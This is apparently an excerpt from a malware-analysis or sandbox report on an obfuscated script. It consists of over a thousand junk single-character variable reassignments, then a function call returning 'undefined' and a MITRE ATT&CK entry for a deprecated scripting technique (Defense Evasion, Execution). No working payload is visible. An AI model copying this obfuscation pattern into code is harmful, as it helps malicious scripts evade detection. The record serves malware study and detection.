222	kvudboll = "h";
223	kvudboll = "m";
224	kvudboll = "y";
225	kvudboll = "x";
226	kvudboll = "j";
227	kvudboll = "C";
228	kvudboll = "j";
229	kvudboll = "j";
230	kvudboll = "H";
231	kvudboll = "w";
232	kvudboll = "c";
233	ueywl = "s";
234	ueywl = "W";
235	ueywl = "y";
236	ueywl = "d";
237	ueywl = "N";
238	ueywl = "m";
239	ueywl = "E";
240	ueywl = "a";
241	ueywl = "S";
242	ueywl = "x";
243	ueywl = "O";
244	ueywl = "r";
245	ueywl = "s";
246	ueywl = "N";
247	ueywl = "Z";
248	ueywl = "B";
249	ueywl = "I";
250	ueywl = "g";
251	ueywl = "e";
252	ueywl = "m";
253	ueywl = "M";
254	ueywl = "W";
255	ueywl = "l";
256	ueywl = "b";
257	ueywl = "U";
258	ueywl = "%";
259	alimpny = "M";
260	alimpny = "V";
261	alimpny = "D";
262	alimpny = "P";
263	alimpny = "S";
264	alimpny = "W";
265	alimpny = "N";
266	alimpny = "N";
267	alimpny = "Z";
268	alimpny = "d";
269	alimpny = "B";
270	alimpny = "F";
271	alimpny = "D";
272	alimpny = "y";
273	alimpny = "P";
274	alimpny = "Q";
275	alimpny = "f";
276	alimpny = "3";
277	llecov = "o";
278	llecov = "a";
279	llecov = "q";
280	llecov = "b";
281	llecov = "e";
282	llecov = "h";
283	llecov = "P";
284	llecov = "r";
285	llecov = "b";
286	llecov = "X";
287	llecov = "t";
288	llecov = "m";
289	llecov = "s";
290	llecov = "E";
291	llecov = "l";
292	llecov = "z";
293	llecov = "A";
294	llecov = "F";
295	llecov = "x";
296	llecov = "H";
297	llecov = "V";
298	llecov = "C";
299	llecov = "Y";
300	llecov = "P";
301	llecov = "Z";
302	llecov = "p";
303	llecov = "T";
304	llecov = "Y";
305	llecov = "u";
306	llecov = "E";
307	llecov = "y";
308	llecov = "y";
309	llecov = "t";
310	llecov = "h";
311	llecov = "O";
312	llecov = "r";
313	llecov = "N";
314	llecov = "l";
315	llecov = "M";
316	llecov = "j";
317	llecov = "a";
318	llecov = "l";
319	cwmqord = "D";
320	cwmqord = "I";
321	cwmqord = "M";
322	cwmqord = "l";
323	cwmqord = "k";
324	cwmqord = "G";
325	cwmqord = "Y";
326	cwmqord = "p";
327	cwmqord = "w";
328	cwmqord = "s";
329	cwmqord = "J";
330	cwmqord = "z";
331	cwmqord = "2";
332	gshugnoqw = "M";
333	gshugnoqw = "x";
334	gshugnoqw = "n";
335	gshugnoqw = "Z";
336	gshugnoqw = "y";
337	gshugnoqw = "n";
338	gshugnoqw = "u";
339	gshugnoqw = "d";
340	gshugnoqw = "I";
341	gshugnoqw = "E";
342	gshugnoqw = "g";
343	gshugnoqw = "d";
344	gshugnoqw = "p";
345	gshugnoqw = "h";
346	gshugnoqw = "l";
347	gshugnoqw = "t";
348	gshugnoqw = "T";
349	gshugnoqw = "R";
350	gshugnoqw = "U";
351	gshugnoqw = "h";
352	gshugnoqw = "p";
353	gshugnoqw = "j";
354	gshugnoqw = "W";
355	gshugnoqw = "f";
356	gshugnoqw = "p";
357	gshugnoqw = "k";
358	gshugnoqw = "W";
359	gshugnoqw = "G";
360	gshugnoqw = "Z";
361	gshugnoqw = "n";
362	gshugnoqw = "9";
363	gegkqgxsf = "d";
364	gegkqgxsf = "k";
365	gegkqgxsf = "l";
366	gegkqgxsf = "b";
367	gegkqgxsf = "y";
368	gegkqgxsf = "K";
369	gegkqgxsf = "P";
370	gegkqgxsf = "v";
371	gegkqgxsf = "A";
372	gegkqgxsf = "m";
373	gegkqgxsf = "i";
374	gegkqgxsf = "b";
375	gegkqgxsf = "U";
376	gegkqgxsf = "p";
377	gegkqgxsf = "m";
378	gegkqgxsf = "J";
379	gegkqgxsf = "c";
380	gegkqgxsf = "e";
381	gegkqgxsf = "z";
382	gegkqgxsf = "f";
383	gegkqgxsf = "p";
384	gegkqgxsf = "M";
385	gegkqgxsf = "w";
386	gegkqgxsf = "t";
387	gegkqgxsf = "x";
388	gegkqgxsf = "j";
389	gegkqgxsf = "z";
390	gegkqgxsf = "T";
391	gegkqgxsf = "/";
392	ojoknf = "r";
393	ojoknf = "i";
394	ojoknf = "f";
395	ojoknf = "p";
396	ojoknf = "m";
397	ojoknf = "y";
398	ojoknf = "D";
399	ojoknf = "w";
400	ojoknf = "s";
401	ojoknf = "B";
402	ojoknf = "Z";
403	ojoknf = "L";
404	ojoknf = "t";
405	ojoknf = "A";
406	ojoknf = "B";
407	ojoknf = "y";
408	ojoknf = "b";
409	ojoknf = "M";
410	ojoknf = "J";
411	ojoknf = "C";
412	ojoknf = "Y";
413	ojoknf = "G";
414	ojoknf = "s";
415	ojoknf = "O";
416	ojoknf = "U";
417	ojoknf = "q";
418	ojoknf = "e";
419	ojoknf = "Z";
420	ojoknf = "d";
421	ojoknf = "x";
422	ojoknf = "O";
423	ojoknf = "e";
424	ojoknf = "t";
425	ojoknf = "G";
426	ojoknf = "W";
427	ojoknf = "g";
428	ojoknf = "a";
429	uswjgr = "Y";
430	uswjgr = "T";
431	uswjgr = "i";
432	uswjgr = "c";
433	uswjgr = "D";
434	uswjgr = "X";
435	uswjgr = "z";
436	uswjgr = "F";
437	uswjgr = "y";
438	uswjgr = "T";
439	uswjgr = "h";
440	rhmlwpt = "Q";
441	rhmlwpt = "q";
442	rhmlwpt = "r";
443	rhmlwpt = "B";
444	rhmlwpt = "F";
445	rhmlwpt = "h";
446	rhmlwpt = "F";
447	rhmlwpt = "R";
448	rhmlwpt = "Q";
449	rhmlwpt = "g";
450	rhmlwpt = "O";
451	rhmlwpt = "a";
452	rhmlwpt = "o";
453	rhmlwpt = "I";
454	rhmlwpt = "M";
455	rhmlwpt = "b";
456	rhmlwpt = "J";
457	rhmlwpt = "O";
458	rhmlwpt = "L";
459	rhmlwpt = "y";
460	rhmlwpt = "T";
461	rhmlwpt = "b";
462	rhmlwpt = "F";
463	rhmlwpt = "S";
464	rhmlwpt = "f";
465	rhmlwpt = "M";
466	rhmlwpt = "f";
467	rhmlwpt = "N";
468	rhmlwpt = "O";
469	rhmlwpt = "e";
470	rhmlwpt = "q";
471	rhmlwpt = "T";
472	rhmlwpt = "f";
473	rhmlwpt = "r";
474	rhmlwpt = "K";
475	rhmlwpt = "M";
476	rhmlwpt = "d";
477	rhmlwpt = "C";
478	rhmlwpt = "R";
479	rhmlwpt = "e";
480	rhmlwpt = "s";
481	rhmlwpt = "E";
482	mmjrlyze = "X";
483	mmjrlyze = "n";
484	mmjrlyze = "6";
485	ozpjz = "j";
486	ozpjz = "H";
487	ozpjz = "Z";
488	ozpjz = "u";
489	ozpjz = "e";
490	ozpjz = "O";
491	gmtyfjkv = "b";
492	gmtyfjkv = "h";
493	gmtyfjkv = "J";
494	gmtyfjkv = "l";
495	gmtyfjkv = "Y";
496	ejwkqe = "F";
497	ejwkqe = "M";
498	ejwkqe = "g";
499	ejwkqe = "j";
500	ejwkqe = "O";
501	ejwkqe = "Q";
502	ejwkqe = "U";
503	ejwkqe = "r";
504	ejwkqe = "j";
505	ejwkqe = "Y";
506	ejwkqe = "U";
507	ejwkqe = "q";
508	ejwkqe = "n";
509	ejwkqe = "s";
510	ejwkqe = "v";
511	ejwkqe = "y";
512	ejwkqe = "D";
513	ejwkqe = "I";
514	ejwkqe = "z";
515	ejwkqe = "x";
516	ejwkqe = "C";
517	ejwkqe = "d";
518	ejwkqe = "j";
519	ejwkqe = "u";
520	ejwkqe = "P";
521	ejwkqe = "r";
522	wtyml = "T";
523	wtyml = "w";
524	wtyml = "V";
525	wtyml = "l";
526	wtyml = "T";
527	wtyml = "a";
528	wtyml = "M";
529	wtyml = "T";
530	wtyml = " ";
531	ckygdov = "j";
532	ckygdov = "F";
533	ckygdov = "E";
534	ckygdov = "V";
535	ckygdov = "n";
536	ckygdov = "k";
537	ckygdov = "d";
538	ckygdov = "z";
539	ckygdov = "P";
540	ckygdov = "k";
541	ckygdov = "i";
542	ckygdov = "q";
543	ckygdov = "U";
544	ckygdov = "E";
545	ckygdov = "g";
546	ckygdov = "m";
547	ckygdov = "x";
548	ckygdov = "a";
549	ckygdov = "I";
550	ckygdov = "H";
551	ckygdov = "m";
552	ckygdov = "K";
553	ckygdov = "S";
554	ckygdov = "X";
555	ckygdov = "h";
556	ckygdov = "i";
557	gavycp = "m";
558	gavycp = "g";
559	gavycp = "m";
560	gavycp = "O";
561	gavycp = "w";
562	gavycp = "x";
563	gavycp = "R";
564	gavycp = "S";
565	gavycp = "P";
566	gavycp = "h";
567	gavycp = "n";
568	gavycp = "S";
569	gavycp = "M";
570	gavycp = "U";
571	gavycp = "V";
572	gavycp = "V";
573	gavycp = "x";
574	gavycp = "c";
575	gavycp = "H";
576	gavycp = "q";
577	gavycp = "H";
578	gavycp = "X";
579	gavycp = "Q";
580	gavycp = "k";
581	gavycp = "h";
582	gavycp = "p";
583	gavycp = "s";
584	gavycp = "V";
585	gavycp = "E";
586	gavycp = "l";
587	gavycp = "i";
588	gavycp = "V";
589	gavycp = "S";
590	gavycp = "p";
591	gavycp = "A";
592	gavycp = "4";
593	dvpwn = "r";
594	dvpwn = "s";
595	dvpwn = "c";
596	dvpwn = "A";
597	dvpwn = "a";
598	dvpwn = "C";
599	dvpwn = "s";
600	dvpwn = "c";
601	dvpwn = "G";
602	dvpwn = "J";
603	dvpwn = "S";
604	dvpwn = "r";
605	dvpwn = "V";
606	dvpwn = "P";
607	dvpwn = "d";
608	dvpwn = "r";
609	dvpwn = "A";
610	dvpwn = "F";
611	dvpwn = "J";
612	dvpwn = "u";
613	dvpwn = "r";
614	dvpwn = "L";
615	augjvpr = "g";
616	augjvpr = "G";
617	augjvpr = "k";
618	augjvpr = "B";
619	augjvpr = "S";
620	augjvpr = "q";
621	augjvpr = "W";
622	augjvpr = "w";
623	augjvpr = "o";
624	augjvpr = "r";
625	augjvpr = "w";
626	augjvpr = "J";
627	augjvpr = "n";
628	augjvpr = "J";
629	augjvpr = "_";
630	wqbxqipk = "m";
631	wqbxqipk = "w";
632	wqbxqipk = "v";
633	wqbxqipk = "s";
634	wqbxqipk = "P";
635	wqbxqipk = "v";
636	zyfuppc = "F";
637	zyfuppc = "R";
638	zyfuppc = "F";
639	zyfuppc = "V";
640	zyfuppc = "z";
641	zyfuppc = "n";
642	zyfuppc = "g";
643	zyfuppc = "Q";
644	zyfuppc = "Q";
645	zyfuppc = "L";
646	zyfuppc = "S";
647	zyfuppc = "k";
648	zyfuppc = "U";
649	zyfuppc = "o";
650	zyfuppc = "K";
651	zyfuppc = "E";
652	zyfuppc = "g";
653	zyfuppc = "R";
654	zyfuppc = "L";
655	zyfuppc = "E";
656	zyfuppc = "H";
657	zyfuppc = "u";
658	zyfuppc = "H";
659	tmois = "m";
660	tmois = "U";
661	tmois = "O";
662	tmois = "i";
663	tmois = "v";
664	tmois = "r";
665	tmois = "u";
666	tmois = "q";
667	tmois = "F";
668	tmois = "Q";
669	tmois = "H";
670	tmois = "e";
671	tmois = "t";
672	tmois = "Y";
673	tmois = "y";
674	tmois = "O";
675	tmois = "R";
676	tmois = "g";
677	tmois = "U";
678	tmois = "p";
679	tmois = "e";
680	tmois = "z";
681	tmois = "c";
682	tmois = "c";
683	tmois = "K";
684	tmois = "v";
685	tmois = "M";
686	tmois = "A";
687	tmois = "m";
688	tmois = "V";
689	tmois = "P";
690	sahfbwj = "O";
691	sahfbwj = "g";
692	sahfbwj = "N";
693	sahfbwj = "D";
694	sahfbwj = "e";
695	sahfbwj = "j";
696	sahfbwj = "h";
697	sahfbwj = "n";
698	sahfbwj = "w";
699	sahfbwj = "h";
700	sahfbwj = "u";
701	sahfbwj = "O";
702	sahfbwj = "z";
703	sahfbwj = "B";
704	sahfbwj = "c";
705	sahfbwj = "d";
706	sahfbwj = "P";
707	sahfbwj = "x";
708	sahfbwj = "h";
709	sahfbwj = "h";
710	sahfbwj = "T";
711	fivcqtk = "D";
712	fivcqtk = "r";
713	fivcqtk = "Y";
714	fivcqtk = "w";
715	fivcqtk = "T";
716	fivcqtk = "f";
717	fivcqtk = "M";
718	fivcqtk = "O";
719	fivcqtk = "h";
720	fivcqtk = "a";
721	fivcqtk = "W";
722	fivcqtk = "v";
723	fivcqtk = "B";
724	fivcqtk = "T";
725	fivcqtk = ".";
726	tazjoj = "j";
727	tazjoj = "s";
728	tazjoj = "I";
729	tazjoj = "O";
730	tazjoj = "y";
731	tazjoj = "N";
732	tazjoj = "D";
733	tazjoj = "c";
734	tazjoj = "n";
735	tazjoj = "O";
736	tazjoj = "R";
737	tazjoj = "r";
738	tazjoj = "J";
739	tazjoj = "w";
740	tazjoj = "O";
741	tazjoj = "d";
742	tazjoj = "G";
743	tazjoj = "f";
744	irxpciie = "y";
745	irxpciie = "g";
746	irxpciie = "C";
747	gwuuq = "P";
748	gwuuq = "R";
749	gwuuq = "v";
750	gwuuq = "P";
751	gwuuq = "Z";
752	gwuuq = "o";
753	gwuuq = "o";
754	gwuuq = "Y";
755	gwuuq = "O";
756	gwuuq = "a";
757	gwuuq = "s";
758	gwuuq = "p";
759	gwuuq = "x";
760	gwuuq = "T";
761	gwuuq = "R";
762	gwuuq = "X";
763	gwuuq = "A";
764	gwuuq = "M";
765	gwuuq = "B";
766	gwuuq = "x";
767	gwuuq = "F";
768	gwuuq = "f";
769	gwuuq = "m";
770	gwuuq = "K";
771	nwhlgr = "P";
772	nwhlgr = "P";
773	nwhlgr = "k";
774	nwhlgr = "G";
775	nwhlgr = "p";
776	nwhlgr = "g";
777	nwhlgr = "e";
778	nwhlgr = "p";
779	nwhlgr = "o";
780	qbegf = "L";
781	qbegf = "c";
782	qbegf = "p";
783	qbegf = "d";
784	qbegf = "B";
785	qbegf = "v";
786	qbegf = "K";
787	qbegf = "p";
788	qbegf = "q";
789	qbegf = "Y";
790	qbegf = "v";
791	qbegf = "D";
792	qbegf = "r";
793	qbegf = "K";
794	qbegf = "G";
795	qbegf = "S";
796	qbegf = "N";
797	qbegf = "E";
798	qbegf = "P";
799	qbegf = "z";
800	qbegf = "u";
801	uwpcbvmv = "q";
802	ojjbtj = "i";
803	ojjbtj = "u";
804	ojjbtj = "q";
805	ojjbtj = "O";
806	ojjbtj = "h";
807	ojjbtj = "Z";
808	ojjbtj = "Z";
809	ojjbtj = "P";
810	ojjbtj = "Y";
811	ojjbtj = "t";
812	ojjbtj = "C";
813	ojjbtj = "l";
814	ojjbtj = "g";
815	ojjbtj = "a";
816	ojjbtj = "V";
817	ojjbtj = "L";
818	ojjbtj = "N";
819	ojjbtj = "p";
820	ojjbtj = "S";
821	ojjbtj = "D";
822	ojjbtj = "m";
823	ojjbtj = "e";
824	ojjbtj = "k";
825	ojjbtj = "g";
826	zirxpk = "E";
827	zirxpk = "J";
828	zirxpk = "H";
829	zirxpk = "H";
830	zirxpk = "l";
831	zirxpk = "V";
832	zirxpk = "Q";
833	zirxpk = "x";
834	zirxpk = "N";
835	zirxpk = "y";
836	zirxpk = "c";
837	zirxpk = "S";
838	zirxpk = "w";
839	zirxpk = "r";
840	zirxpk = "Q";
841	zirxpk = "G";
842	zirxpk = "S";
843	hayljya = "D";
844	hayljya = "m";
845	hayljya = "j";
846	hayljya = "h";
847	hayljya = "C";
848	hayljya = "i";
849	hayljya = "r";
850	hayljya = "t";
851	hayljya = "n";
852	hayljya = "I";
853	hayljya = "z";
854	hayljya = "y";
855	hayljya = "V";
856	hayljya = "T";
857	hayljya = "e";
858	hayljya = "R";
859	hayljya = "j";
860	hayljya = "m";
861	hayljya = "C";
862	hayljya = "q";
863	hayljya = "Z";
864	hayljya = "u";
865	hayljya = "F";
866	hayljya = "j";
867	hayljya = "F";
868	hayljya = "W";
869	hayljya = "l";
870	hayljya = "Q";
871	hayljya = "P";
872	hayljya = "p";
873	hayljya = "w";
874	hayljya = "p";
875	hayljya = "Q";
876	hayljya = "k";
877	hayljya = "Z";
878	hayljya = "t";
879	hayljya = "p";
880	hayljya = "n";
881	hayljya = "N";
882	wkanypfew = "w";
883	rkffa = "N";
884	rkffa = "X";
885	rkffa = "l";
886	rkffa = "V";
887	rkffa = "g";
888	rkffa = "a";
889	rkffa = "W";
890	rkffa = "o";
891	rkffa = "E";
892	rkffa = "n";
893	rkffa = "h";
894	rkffa = "R";
895	rkffa = "d";
896	ftqckl = "s";
897	ftqckl = "R";
898	ftqckl = "W";
899	ftqckl = "x";
900	ftqckl = "V";
901	ftqckl = "r";
902	ftqckl = "G";
903	ftqckl = "M";
904	ftqckl = "Q";
905	ftqckl = "u";
906	ftqckl = "j";
907	ftqckl = "Q";
908	ftqckl = "o";
909	ftqckl = "F";
910	ftqckl = "f";
911	ftqckl = "x";
912	ftqckl = "y";
913	ftqckl = "J";
914	ftqckl = "e";
915	ftqckl = "F";
916	ftqckl = "J";
917	ftqckl = "m";
918	ftqckl = "c";
919	ftqckl = "o";
920	ftqckl = "c";
921	ftqckl = "x";
922	ftqckl = "f";
923	ftqckl = "t";
924	ftqckl = "R";
925	kiwogl = "j";
926	kiwogl = "t";
927	kiwogl = "E";
928	kiwogl = "e";
929	kiwogl = "Q";
930	kiwogl = "Z";
931	kiwogl = "a";
932	kiwogl = "t";
933	kiwogl = "m";
934	kiwogl = "J";
935	kiwogl = "H";
936	kiwogl = "z";
937	kiwogl = "m";
938	kiwogl = "L";
939	kiwogl = "S";
940	kiwogl = "O";
941	kiwogl = "P";
942	kiwogl = "w";
943	kiwogl = "v";
944	kiwogl = "a";
945	kiwogl = "h";
946	kiwogl = "Z";
947	kiwogl = "U";
948	kiwogl = "D";
949	kiwogl = "c";
950	kiwogl = "y";
951	kiwogl = "G";
952	kiwogl = "O";
953	kiwogl = "r";
954	kiwogl = "b";
955	kiwogl = "v";
956	kiwogl = "G";
957	kiwogl = "W";
958	kiwogl = "v";
959	kiwogl = "I";
960	kiwogl = "t";
961	kiwogl = "F";
962	kiwogl = "y";
963	kiwogl = "k";
964	kiwogl = "z";
965	kiwogl = "p";
966	oionbckw = "I";
967	oionbckw = "j";
968	oionbckw = "Z";
969	oionbckw = "U";
970	oionbckw = "o";
971	oionbckw = "a";
972	oionbckw = "y";
973	oionbckw = "l";
974	oionbckw = "L";
975	oionbckw = "L";
976	oionbckw = "F";
977	oionbckw = "U";
978	oionbckw = "w";
979	oionbckw = "t";
980	oionbckw = "M";
981	oionbckw = "g";
982	oionbckw = "F";
983	yvdol = "n";
984	yvdol = "i";
985	yvdol = "o";
986	yvdol = "j";
987	yvdol = "L";
988	yvdol = "L";
989	yvdol = "Z";
990	yvdol = "p";
991	yvdol = "z";
992	yvdol = "g";
993	yvdol = "0";
994	dvnkm = "B";
995	dvnkm = "Q";
996	dvnkm = "J";
997	dvnkm = "y";
998	dvnkm = "x";
999	dvnkm = "m";
1000	dvnkm = "B";
1001	dvnkm = "g";
1002	dvnkm = "U";
1003	dvnkm = "Z";
1004	dvnkm = "C";
1005	dvnkm = "P";
1006	dvnkm = "i";
1007	dvnkm = "z";
1008	dvnkm = "U";
1009	dvnkm = "o";
1010	dvnkm = "J";
1011	dvnkm = "k";
1012	dvnkm = "b";
1013	dvnkm = "S";
1014	dvnkm = "W";
1015	dvnkm = "E";
1016	dvnkm = "G";
1017	dvnkm = "b";
1018	dvnkm = "m";
1019	dvnkm = "V";
1020	dvnkm = "i";
1021	dvnkm = "N";
1022	dvnkm = "a";
1023	dvnkm = "S";
1024	dvnkm = "M";
1025	dvnkm = "O";
1026	dvnkm = "\"";
1027	cnswdu = "U";
1028	cnswdu = "s";
1029	cnswdu = "i";
1030	cnswdu = "D";
1031	cnswdu = "q";
1032	cnswdu = "b";
1033	cnswdu = "P";
1034	cnswdu = "G";
1035	cnswdu = "a";
1036	cnswdu = "L";
1037	cnswdu = "E";
1038	cnswdu = "V";
1039	cnswdu = "x";
1040	cnswdu = "L";
1041	cnswdu = "B";
1042	cnswdu = "T";
1043	cnswdu = "w";
1044	cnswdu = "E";
1045	cnswdu = "o";
1046	cnswdu = "B";
1047	cnswdu = "w";
1048	cnswdu = "b";
1049	cnswdu = "A";
1050	cnswdu = "G";
1051	cnswdu = "S";
1052	cnswdu = "g";
1053	cnswdu = "G";
1054	cnswdu = "c";
1055	cnswdu = "t";
1056	cnswdu = "g";
1057	cnswdu = "B";
1058	cnswdu = "s";
1059	cnswdu = "C";
1060	cnswdu = "J";
1061	cnswdu = "z";
1062	cnswdu = "f";
1063	cnswdu = "k";
1064	cnswdu = "m";
1065	cnswdu = "g";
1066	cnswdu = "J";
1067	cnswdu = "r";
1068	cnswdu = "x";
1069	vrujqdjf = "c";
1070	vrujqdjf = "N";
1071	vrujqdjf = "B";
1072	vrujqdjf = "B";
1073	vrujqdjf = "i";
1074	vrujqdjf = "Y";
1075	vrujqdjf = "T";
1076	vrujqdjf = "p";
1077	vrujqdjf = "l";
1078	vrujqdjf = ":";
1079	wiigkdq = "X";
1080	wiigkdq = "I";
1081	wiigkdq = "I";
1082	wiigkdq = "F";
1083	wiigkdq = "A";
1084	wiigkdq = "t";
1085	wiigkdq = "O";
1086	wiigkdq = "y";
1087	wiigkdq = "m";
1088	wiigkdq = "x";
1089	wiigkdq = "p";
1090	wiigkdq = "Y";
1091	wiigkdq = "Q";
1092	wiigkdq = "P";
1093	wiigkdq = "w";
1094	wiigkdq = "b";
1095	wiigkdq = "n";
1096	wiigkdq = "j";
1097	wiigkdq = "t";
1098	wiigkdq = "o";
1099	wiigkdq = "k";
1100	wiigkdq = "q";
1101	wiigkdq = "l";
1102	wiigkdq = "S";
1103	wiigkdq = "d";
1104	wiigkdq = "B";
1105	wiigkdq = "w";
1106	wiigkdq = "B";
1107	wiigkdq = "\\";
1108	ybquwjqo = "m";
1109	ybquwjqo = "w";
1110	ybquwjqo = "B";
1111	ybquwjqo = "X";
1112	ybquwjqo = "W";
1113	ybquwjqo = "Z";
1114	ybquwjqo = "U";
1115	ybquwjqo = "k";
1116	ybquwjqo = "L";
1117	ybquwjqo = "C";
1118	ybquwjqo = "T";
1119	ybquwjqo = "x";
1120	ybquwjqo = "f";
1121	ybquwjqo = "t";
1122	ybquwjqo = "g";
1123	ybquwjqo = "S";
1124	ybquwjqo = "U";
1125	ybquwjqo = "b";
1126	yxnbqomr = "A";
1127	yxnbqomr = "c";
1128	yxnbqomr = "b";
1129	yxnbqomr = "-";
1130	zmhdlkx = "g";
1131	zmhdlkx = "S";
1132	zmhdlkx = "x";
1133	zmhdlkx = "C";
1134	zmhdlkx = "K";
1135	zmhdlkx = "C";
1136	zmhdlkx = "E";
1137	zmhdlkx = "E";
1138	zmhdlkx = "U";
1139	zmhdlkx = "H";
1140	zmhdlkx = "O";
1141	zmhdlkx = "M";
1142	zmhdlkx = "m";
1143	zmhdlkx = "E";
1144	zmhdlkx = "E";
1145	zmhdlkx = "U";
1146	zmhdlkx = "S";
1147	zmhdlkx = "O";
1148	zmhdlkx = "d";
1149	zmhdlkx = "R";
1150	zmhdlkx = "h";
1151	zmhdlkx = "p";
1152	zmhdlkx = "I";
1153	zmhdlkx = "S";
1154	zmhdlkx = "M";
1155	zmhdlkx = "k";
1156	gdeydxeum = "F";
1157	gdeydxeum = "X";
1158	gdeydxeum = "E";
1159	gdeydxeum = "n";
1160	gdeydxeum = "s";
1161	gdeydxeum = "Z";
1162	gdeydxeum = "p";
1163	gdeydxeum = "f";
1164	gdeydxeum = "P";
1165	gdeydxeum = "U";
1166	gdeydxeum = "T";
1167	gdeydxeum = "U";
1168	gdeydxeum = "z";
1169	gdeydxeum = "S";
1170	gdeydxeum = "n";
1171	gdeydxeum = "z";
1172	gdeydxeum = "p";
1173	gdeydxeum = "M";
1174	gdeydxeum = "W";
1175	gdeydxeum = "o";
1176	gdeydxeum = "P";
1177	gdeydxeum = "e";
1178	gdeydxeum = "j";
1179	pjhra = "U";
1180	pjhra = "O";
1181	pjhra = "v";
1182	pjhra = "t";
1183	pjhra = "y";
1184	pjhra = "d";
1185	pjhra = "M";
1186	pjhra = "T";
1187	pjhra = "T";
1188	pjhra = "H";
1189	pjhra = "y";
1190	pjhra = "S";
1191	pjhra = "q";
1192	pjhra = "v";
1193	pjhra = "e";
1194	pjhra = "Q";
1195	pjhra = "g";
1196	pjhra = "R";
1197	pjhra = "P";
1198	pjhra = "C";
1199	pjhra = "z";
1200	pjhra = "f";
1201	pjhra = "A";
1202	pjhra = "W";
1203	hfcem = "Z";
1204	hfcem = "w";
1205	hfcem = "q";
1206	hfcem = "a";
1207	hfcem = "Z";
1208	hfcem = "L";
1209	hfcem = "l";
1210	hfcem = "P";
1211	hfcem = "J";
1212	hfcem = "t";
1213	hfcem = "M";
1214	hfcem = "u";
1215	hfcem = "x";
1216	hfcem = "X";
1217	hfcem = "C";
1218	hfcem = "J";
1219	hfcem = "w";
1220	hfcem = "x";
1221	hfcem = "G";
1222	hfcem = "q";
1223	hfcem = "K";
1224	hfcem = "J";
1225	hfcem = "F";
1226	hfcem = "q";
1227	hfcem = "w";
1228	hfcem = "v";
1229	hfcem = "z";
1230	hfcem = "j";
1231	hfcem = "c";
1232	hfcem = "C";
1233	hfcem = "s";
1234	hfcem = "V";
1235	hfcem = "z";
1236	hfcem = "u";
1237	hfcem = "s";
1238	hfcem = "X";
1239	hfcem = "B";
1240	hfcem = "G";
1241	hfcem = "Q";
1242	hfcem = "j";
1243	hfcem = "J";
1244	hfcem = "l";
1245	hfcem = "k";
1246	hfcem = "t";
1247	zhvne = "t";
1248	zhvne = "f";
1249	zhvne = "H";
1250	zhvne = "S";
1251	zhvne = "E";
1252	zhvne = "V";
1253	zhvne = "H";
1254	zhvne = "v";
1255	zhvne = "U";
1256	zhvne = "N";
1257	zhvne = "Y";
1258	zhvne = "R";
1259	zhvne = "e";
1260	zhvne = "C";
1261	zhvne = "v";
1262	zhvne = "y";
1263	zhvne = "v";
1264	zhvne = "K";
1265	zhvne = "Y";
1266	zhvne = "k";
1267	zhvne = "G";
1268	zhvne = "u";
1269	zhvne = "U";
1270	zhvne = "K";
1271	zhvne = "Q";
1272	zhvne = "s";
1273	oxztos = "I";
1274	oxztos = "H";
1275	oxztos = "G";
1276	oxztos = "R";
1277	oxztos = "e";
1278	oxztos = "R";
1279	oxztos = "f";
1280	oxztos = "n";
1281	oxztos = "W";
1282	oxztos = "J";
1283	oxztos = "t";
1284	oxztos = "s";
1285	oxztos = "i";
1286	oxztos = "M";
1287	oxztos = "i";
1288	oxztos = "O";
1289	oxztos = "S";
1290	oxztos = "M";
1291	oxztos = "f";
1292	oxztos = "Q";
1293	oxztos = "i";
1294	oxztos = "D";
1295	oxztos = "F";
1296	oxztos = "w";
1297	oxztos = "L";
1298	oxztos = "U";
1299	oxztos = "M";
1300	oxztos = "Q";
1301	oxztos = "f";
1302	oxztos = "o";
1303	oxztos = "Y";
1304	oxztos = "g";
1305	oxztos = "t";
1306	oxztos = "u";
1307	oxztos = "K";
1308	oxztos = "F";
1309	oxztos = "Y";
1310	oxztos = "x";
1311	oxztos = "8";
1312	ykidpoeb = "E";
1313	ykidpoeb = "F";
1314	ykidpoeb = "K";
1315	ykidpoeb = "C";
1316	ykidpoeb = "G";
1317	ykidpoeb = "G";
1318	ykidpoeb = "M";
1319	ykidpoeb = "v";
1320	ykidpoeb = "Z";
1321	ykidpoeb = "B";
1322	ykidpoeb = "A";
1323	ykidpoeb = "F";
1324	ykidpoeb = "E";
1325	ykidpoeb = "R";
1326	ykidpoeb = "C";
1327	ykidpoeb = "O";
1328	ykidpoeb = "S";
1329	ykidpoeb = "J";
1330	ykidpoeb = "x";
1331	ykidpoeb = "B";
1332	ykidpoeb = "E";
1333	ykidpoeb = "y";
1334	ykidpoeb = "c";
1335	ykidpoeb = "W";
1336	ykidpoeb = "U";
1337	ykidpoeb = "w";
1338	ykidpoeb = "Q";
1339	ykidpoeb = "C";
1340	ykidpoeb = "w";
1341	ykidpoeb = "z";
1342	ykidpoeb = "B";
1343	ykidpoeb = "p";
1344	ykidpoeb = "j";
1345	ykidpoeb = "Y";
1346	ykidpoeb = "K";
1347	ykidpoeb = "z";
1348	ykidpoeb = "W";
1349	ykidpoeb = "c";
1350	ykidpoeb = "I";
1351	ppfym = "h";
1352	ppfym = "Y";
1353	ppfym = "H";
1354	ppfym = "Y";
1355	ppfym = "i";
1356	ppfym = "l";
1357	ppfym = "Z";
1358	ppfym = "v";
1359	ppfym = "o";
1360	ppfym = "R";
1361	ppfym = "v";
1362	ppfym = "F";
1363	ppfym = "i";
1364	ppfym = "k";
1365	ppfym = "U";
1366	ppfym = "k";
1367	ppfym = "O";
1368	ppfym = "m";
1369	ppfym = "B";
1370	ppfym = "O";
1371	ppfym = "u";
1372	ppfym = "R";
1373	ppfym = "i";
1374	ppfym = "J";
1375	ppfym = "Z";
1376	ppfym = "Z";
1377	ppfym = "D";
1378	ppfym = "n";
1379	ppfym = "I";
1380	ppfym = "i";
1381	ppfym = "E";
1382	ppfym = "v";
1383	ppfym = "k";
1384	ppfym = "P";
1385	ppfym = "D";
1386	ppfym = "k";
1387	ppfym = "O";
1388	ppfym = "I";
1389	ppfym = "m";
1390	ppfym = "y";
1391	ppfym = "i";
1392	ppfym = "F";
1393	ppfym = "S";
1394	ppfym = "Q";
1395	cmpvx = "K";
1396	cmpvx = "t";
1397	cmpvx = "I";
1398	cmpvx = "G";
1399	cmpvx = "1";
1400	wfbfbxqg ( );	wfbfbxqg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

